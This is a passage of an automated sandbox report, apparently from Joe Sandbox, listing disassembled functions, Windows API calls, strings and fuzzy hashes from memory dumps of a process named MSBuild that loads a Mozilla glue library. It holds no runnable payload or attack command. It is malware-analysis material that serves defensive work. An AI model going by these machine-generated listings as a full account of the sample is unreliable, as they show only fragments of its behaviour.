GetLastError.KERNEL32(?,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56AE3D

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c3e3e8414c7dbef0da83deb2406d2f6d8a0b1e4bf4122abdcb4aafe6d23a4b0d
Instruction ID: 1fd9ec16cab5986a8be7ac8155df5635e5cdf8c72d4be2c4fa0d45890a721d5d
Opcode Fuzzy Hash: c3e3e8414c7dbef0da83deb2406d2f6d8a0b1e4bf4122abdcb4aafe6d23a4b0d
Instruction Fuzzy Hash: AF3132B1A012259FDB10DF768C44AABB7F8EF89614F554829E85AD7710E734EC44CBB0

Function 6C565EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C57DCA0,?,?,?,6C53E8B5,00000000), ref: 6C565F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C53E8B5,00000000), ref: 6C565F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C53E8B5,00000000), ref: 6C565F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C53E8B5,00000000), ref: 6C565F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C53E8B5,00000000), ref: 6C565FD6

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 753269cf597ea3ab87197b853cd75ece0baaaa37f690a3fac9c49c2c4d61614f
Instruction ID: c79982b25b0104a30ffaf31a7cc84ed4df265ddc45396cdc55412b2327ca6af6
Opcode Fuzzy Hash: 753269cf597ea3ab87197b853cd75ece0baaaa37f690a3fac9c49c2c4d61614f
Instruction Fuzzy Hash: D0314E743416009FD710DF2ACC98E2AB7F9FF89318BA54958E55687BA6C771EC41CB80

Function 6C50B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C50B532
moz_xmalloc.MOZGLUE(?), ref: 6C50B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C50B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C50B57E
free.MOZGLUE(00000000), ref: 6C50B58F

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: edad7a982fbc4a253be58e64734421b629898144fcfead188a5b76f06c7a5218
Instruction ID: 1aeff099bcd1577b324898608d2ec0ab5d8194333fce28b0443a0b40d41923c9
Opcode Fuzzy Hash: edad7a982fbc4a253be58e64734421b629898144fcfead188a5b76f06c7a5218
Instruction Fuzzy Hash: EB21F871B002059BDB00DF64CC80B6ABBB9FF86308F244169E814DB342F735D951C7A1

Function 6C50B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C50B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C50B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C50B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C50B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C50B849

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 84bf9b0dc1e9ff0e961cf828cf0e6beb30424fb59a06b07b1702cc5644c2cefb
Instruction ID: afcff8a3ee83d548380c138ad3bdfd5d635eed760f2caaeedd71b1ef5772e801
Opcode Fuzzy Hash: 84bf9b0dc1e9ff0e961cf828cf0e6beb30424fb59a06b07b1702cc5644c2cefb
Instruction Fuzzy Hash: AD2128B4E00219DFDF04DFA9D8855BEBBB4EF49214F148529EC05A7741E731A944CBA1

Function 6C566E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C566E78

Part of subcall function 6C566A10: InitializeCriticalSection.KERNEL32(6C58F618), ref: 6C566A68
Part of subcall function 6C566A10: GetCurrentProcess.KERNEL32 ref: 6C566A7D
Part of subcall function 6C566A10: GetCurrentProcess.KERNEL32 ref: 6C566AA1
Part of subcall function 6C566A10: EnterCriticalSection.KERNEL32(6C58F618), ref: 6C566AAE
Part of subcall function 6C566A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C566AE1
Part of subcall function 6C566A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C566B15
Part of subcall function 6C566A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C566B65
Part of subcall function 6C566A10: LeaveCriticalSection.KERNEL32(6C58F618,?,?), ref: 6C566B83

MozFormatCodeAddress.MOZGLUE ref: 6C566EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C566EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C566EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C566EFF

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: fb09f04a316b12078a0081fa2c3250203390d3038b9d37bd775c44623b0263b0
Instruction ID: 8d1b78e07a2eee2bf93f2675655504bc6001fe5cf6f3776fa938e971bcb5da2b
Opcode Fuzzy Hash: fb09f04a316b12078a0081fa2c3250203390d3038b9d37bd775c44623b0263b0
Instruction Fuzzy Hash: 4A21B071A0432A9FDB00DF69DC8469AB7F8EF85308F044039E84997350EB709A588F92

Function 00419260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(013562C8,?,?,?,0041140C,?,013562C8,00000000), ref: 0041926C
lstrcpyn.KERNEL32(0064AB88,013562C8,013562C8,?,0041140C,?,013562C8), ref: 00419290
lstrlenA.KERNEL32(?,?,0041140C,?,013562C8), ref: 004192A7
wsprintfA.USER32 ref: 004192C7

Strings

%s%s, xrefs: 004192B5

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction ID: a59194731e19cd62a1114d9db51b1d7a77f87ed08144ed5303bdb74f02b8d175
Opcode Fuzzy Hash: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction Fuzzy Hash: FD010879580108FFCB04DFECC998EAE7BBAEB49394F108548F9098B300C635AA40DB95

Function 6C540D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C503DEF), ref: 6C540D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C503DEF), ref: 6C540D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C503DEF), ref: 6C540DAF

Strings

<jemalloc>, xrefs: 6C540D92, 6C540DB9
: (malloc) Error in VirtualFree(), xrefs: 6C540D97, 6C540DBE

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 439f0d8d4cfbe2836330ed707d54055d40819ca1a11f5464557711cb02ca6cc2
Instruction ID: bb6092488ef1c7b37d8cc7719f4ecd8367f5d775d2b99be332b4a016a1495453
Opcode Fuzzy Hash: 439f0d8d4cfbe2836330ed707d54055d40819ca1a11f5464557711cb02ca6cc2
Instruction Fuzzy Hash: 58F080313812B423D62021655C06B57265DABD2B55F35C137F654DB9C4DB60E4044A99

Function 6C565850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C56586C
CloseHandle.KERNEL32 ref: 6C565878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C565898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5658C9
free.MOZGLUE(00000000), ref: 6C5658D3

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 409fe71241a2378c3bd396f8dcc8215a390158a71e125b2519f40a7ca738911f
Instruction ID: 227f7d4c90c73ec43108b377678dacf013472b7978dff040998466a35505767d
Opcode Fuzzy Hash: 409fe71241a2378c3bd396f8dcc8215a390158a71e125b2519f40a7ca738911f
Instruction Fuzzy Hash: C601A271702121ABDF00DF16DC086067BB8FB8B3287661335E019C2BA2D73198148F88

Function 6C557620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5575C4,?), ref: 6C55762B

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5574D7,6C5615FC,?,?,?), ref: 6C557644
GetCurrentThreadId.KERNEL32 ref: 6C55765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5574D7,6C5615FC,?,?,?), ref: 6C557663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5574D7,6C5615FC,?,?,?), ref: 6C557677

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ecbdb1928477221a38fd847914da05f0cde407173a829139ecf5e70d42c59329
Instruction ID: f955bd9eb5b970ca8d795e8933cf70b02dd987703c76a1d4b96446d597cd3ccd
Opcode Fuzzy Hash: ecbdb1928477221a38fd847914da05f0cde407173a829139ecf5e70d42c59329
Instruction Fuzzy Hash: 08F0FF71E10745AFE3009F21CC88A76B778FFEB258F126316F90442602E7B1A5D08BE0

Function 0041C742 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C74E

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__getptd.LIBCMT ref: 0041C765
__amsg_exit.LIBCMT ref: 0041C773
__lock.LIBCMT ref: 0041C783
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C797

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 3d7c1e79db36087730c99ab0a6624c72b46b4ffdd1162626bf4921dca9482436
Instruction ID: 8b8854a621eee9d40ba0401ebc9f05e8605540fb6beb74f1d93a4957509c98f2
Opcode Fuzzy Hash: 3d7c1e79db36087730c99ab0a6624c72b46b4ffdd1162626bf4921dca9482436
Instruction Fuzzy Hash: 1AF09632A817119BD7207BB95C867DE33A09F00728F24414FF414A62D2CBAC59D28E9E

Function 6C561700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C561800

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

Part of subcall function 6C504290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C543EBD,6C543EBD,00000000), ref: 6C5042A9

Strings

name, xrefs: 6C561939
{marker.name} - {marker.data.name}, xrefs: 6C5618C7
Details, xrefs: 6C561925

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 1d579f03abda0c8ceedd4e8f1ced1bc37baa0d7d1713f3fa5ffe47030cc8ba8e
Instruction ID: d8f02b08b95b5fafb285d5d9df24c122a8f6d64cb5eed8179a899e86a55ee44b
Opcode Fuzzy Hash: 1d579f03abda0c8ceedd4e8f1ced1bc37baa0d7d1713f3fa5ffe47030cc8ba8e
Instruction Fuzzy Hash: DC71E671A00356DFCB04DF29D8547AABBB1FF86304F444669D8154BB41DB70EA94CBE1

Function 6C52D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

EnterCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C53D1C5), ref: 6C52D4F2
LeaveCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C53D1C5), ref: 6C52D50B

Part of subcall function 6C50CFE0: EnterCriticalSection.KERNEL32(6C58E784), ref: 6C50CFF6
Part of subcall function 6C50CFE0: LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C50D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C53D1C5), ref: 6C52D52E
EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C52D690
LeaveCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6C53D1C5), ref: 6C52D751

Strings

MOZ_CRASH(), xrefs: 6C52D4BB

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b2385b91cb8d3752be2d6138d023ae502ce0846277d8e2c0ade974e4e60cea82
Instruction ID: a5a9f0e74814c7929a7dd1f9d16a5d5f1f2feeec30643c11d003e1ea1fdeaf52
Opcode Fuzzy Hash: b2385b91cb8d3752be2d6138d023ae502ce0846277d8e2c0ade974e4e60cea82
Instruction Fuzzy Hash: C4510171A057618FD714CF28C89471AB7F1EF8A304F658A2ED599C7B85E774E800CB92

Function 6C554630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C554721

Strings

-%llu, xrefs: 6C554733
profiler-paused, xrefs: 6C5546E4
., xrefs: 6C55476A

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 2ee8997ebb20ef2063f8d5303129814d9d9541b3bc4e4389155aa4f75a4280db
Instruction ID: bcbf5d4c661b65a2feac9eab04ba1351a1a9b2481c2f052d64cbdf7063fd34f2
Opcode Fuzzy Hash: 2ee8997ebb20ef2063f8d5303129814d9d9541b3bc4e4389155aa4f75a4280db
Instruction Fuzzy Hash: EF414571E046189FCB08DF78EC5119EBBE5EF85344F50873EE849ABB81EB3098648791

Function 6C5546E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C554721

Part of subcall function 6C504410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C543EBD,00000017,?,00000000,?,6C543EBD,?,?,6C5042D2), ref: 6C504444

Strings

-%llu, xrefs: 6C554733
profiler-paused, xrefs: 6C5546E4
., xrefs: 6C55476A

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 81e985e16935fb51167c4a2b6d4afaacb334e01db859523f0630a80f166f981c
Instruction ID: 48abac64f96ec960826564b2ff33f42570dd454ec1472c87951e667073fb50d4
Opcode Fuzzy Hash: 81e985e16935fb51167c4a2b6d4afaacb334e01db859523f0630a80f166f981c
Instruction Fuzzy Hash: 49312671F142189FCB08CF6CDC9129EBBE6DB89314F55863EE8099BB41EB7098158B90

Function 6C55B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C504290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C543EBD,6C543EBD,00000000), ref: 6C5042A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C55B127), ref: 6C55B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C55B4E4

Strings

pid:, xrefs: 6C55B4DE

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
